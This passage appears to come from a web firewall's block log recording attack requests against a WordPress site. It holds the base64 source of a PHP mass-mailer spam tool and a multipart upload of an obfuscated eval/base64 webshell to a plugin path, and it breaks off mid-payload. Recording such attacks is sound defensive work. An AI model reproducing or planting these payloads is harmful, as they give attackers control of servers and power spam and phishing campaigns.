nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--f3cd85767c3bc45f94dd46510512a0a4\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--f3cd85767c3bc45f94dd46510512a0a4--\r\n"]
["2026-05-26 21:39:26","170.205.30.68","POST","\/wp-content\/plugins\/hodda\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/hodda\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=030891a20100e60d41122164231fd49e\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:54628\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--030891a20100e60d41122164231fd49e\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"mxxtl.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\neval(base64_decode('ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChfcjVNZTBGTnJoODNVWTl4WnQoJzR0TkNQZFVNTkhHcDM3VExnM2s2cFBZNUNJZjZLV0ZkTXFGRUNoSktYZ1piaTFCRUxwWG1vTTZ6dE12b1BuV2c0ZVFVdlRrYzNQbUFjd21sczRiTEJFUVRTWDFja0pHYXM2Nk50bXdYQWFsaks0dVVNZVBjSm5HVnBUWUh3UnRGM3VUWE1RRFlKMk84dW15R3RHc01zZGtIeEZqVFNxbVkxYmVRYko3eDBMczlXeUo2QVNLOVFyRXpHVGY3SWRQSVByZThtcWhJOWVvZHlGTU5qOVlHUkpEbjRDY2ZKMmtnMmVJb0RiV1BwaFhUYlJQR3ltV1Bkb3oyWlRwbDA2WFFPdExMeDdnc3h2SzNJcms5QlRIMVBxSXNGQm9iS3VBQXZvYzBTb0NLdTkzRGVUTmN0ZFpEeHZabWdHc3N3QUJFSXNPYVVPc0EyTVVLZnU5U3hBSDhKTm9JWEJPQ21QNnlWOWNnVEk2MTdwY0x4WG96TExwNENCZ1k2REtNZ2NreXBhOE1FV0RycGkwdURrc0RKY3A5blkxTVZQMDVsOXc0SE5IQXIzczBjckE4QzBqaHZISEhUWWxMUHhlTmNGb1ZTQ2tNWGlXT1JLVnJiWXJNYVlSU2hXUXEwcEpGaE5rQzd2REoxRzBUQnY1MXBqODJnVFN0MEYyekZDVmJSbGRoNzRRUHNGSFZBa3czT1A3bEtwNTZFOWVua3dqMmc2ZnU0UU9CSGV6U1lsTFNIR0V3RlpiaUJMSEh4U0xSd1drTXpTSDJZOEhndklwV2xPSHZVVmk4MzdYc0dZbm5ETFRLNVhoNU1BV2dNN213ZHZNa2Vud01YbmNudlZGQ3hLb2hRcEJyZVRMdzFpZkpMd3Nmbk5FSjdiM3JldU00c2lENEtpeDFkbEhxbEoyNjJFNWJTTHZTZDh0M1c3Nm5jOVFVUlVtMEpaSVdKY3R5ZHY2ZFIraHZkMmUrN3p6RXZORjVrbzFBQUNCSVViNWsxY3llSDF2ZFZiUklJQkFJQkFLQlFDRGlwL0dULzY4eXY5M2FXRFBZNlBwa2M4ZndCMzdiWUlIN3dmQTd0bU5VL0tmOW15MkQwWU0rNWdhaDMvbVFkWHFXTjI3ZzN3T25iU3diV0tleTVSOXZQUnVNSHFJNEx4bVY0N1dOeWxKL3Zka3dHRFZPSmMyZTM0RC9EMzNQYlZsOUt6UUZEb1Fab3hxODZBL0RDYnNPSUQrdFR0U0RIMFl1ZDF5dGI1NnRibFQzVnkvcXA1dG4rOVV0SXc4RnNuM3JzZDUzQmwyM2xUVmFyc0crbTZjYkc2dFE1T0owczJaK28yZjlnK2djUURJRDF6U1dsNDJSK3d6Ly84QnJ2WTRMVVdCWUR6cUJ3c2xzZTI2emFVMUFBeHlldkhIWC9IWldPenJtVFl1dlVUdVZzTGEzNnNHWVhGdWZxMFFQZU5uZFA5eXBHb3dlZ3ZLYjFiMmpvL1g2aCt6WTZ2ZXRldWgwUXFzYkJtNS9FQUpnK1JVQVZoY2JUWVBSUTlTbDl0TnJDdHdxTzcxU2Myd3dlZ2hFV0k1WCtaQ04xYWtZNHJXUk55ZEJtdG5BNnRYNWUrTVBXVkkyN1JwZWZ6aHcra2kxK0JlOUFjOTNCN1kzYkJtVlJtdHA5Y3hnOUJEY2tzdGw3YUFOTlFiKzhLRnV1MjFvRHJueDk5OWhKTksrbU5sd0VMcFBUbDNDNVlOVGFhK3ZybDBackRjOHViK1VoQ3BrQjI3UDdkYWRuanVBcXVGWG8vSzU3eHpBcDFIOTVMbXJCdWlncyt2Q3k2UGhlZXRFMU0yc0RBQjdPL3oweGJ2dDMvN0UvN0RpVEdmUTlwenViTmpzMlVEci90QWUzUEl2T2RQTWRzSmh3TC9JZC9EbjVNdHM0T3N2b1A5WUROaE5rVW0xOTFQVW1abmhEZUgvOERleW12eWJmWWRQM3dRNnpyQnJQYzdDMzdNdGUzYmdPYjJoN1RlamVqa2QrUytJZkxibEtrQWZQNHBHQkZhRk9XUi9ENG9JM2s2Vys1UElGSlpYRWhpb2Jnb01Gc3NTQTFIQWFmcnJZK2QrRnNTTzBiSGR6Z2orQXBZRTRJK2JzeU8vNmJtakxMVHNHU0E3RkJRbkc5ekhTTXNLTkhKWVNvMGRjdTJxTVhJOCtNWTdvRDRlWGg1dFhHL3V6ZkpXZ1BQdzRRRFRCNVl0Mmt4ZzBIS3hvdUNlTHhraEo4dit3ZGFtd1Rhczl1VklpdFFWcDl1d0JwKytyUFR4UDAzOFQ0WnhZSWgwWnRrRGlOQmZ6emN5N08rRlFySFNHVFRkRVhzS0NwVyswK3o3amN5eTB4M0RCQU9FbDFHTUdZTW5aN0RzQk9PQk1SZ0dub3RBQ2ZBSGdQd1VsQVVJQS82ZXF3eGFUbmVHUkYyZ0lBMFFHOEFEMjhzc1UrbkNNcFN5clNEc2RoMmJmbUVkL2l2RDBRbjh3UXloeEFwRnE3QlErRnVsNzNkOWU2YnBEZjErKzk2MjFBZWo2WGI5MEhnS2lvbE9jR0o4V2JHY3ZvWGQrUFJGTGpFTGk0ZjNnTEt6K0ZDNlZKTE1YTUV4RFh3c05tdDRIK0EvNWtvRy84NDlnbnpyV3gyN2E3bTJBMGozQmgzOEN1MGdTeH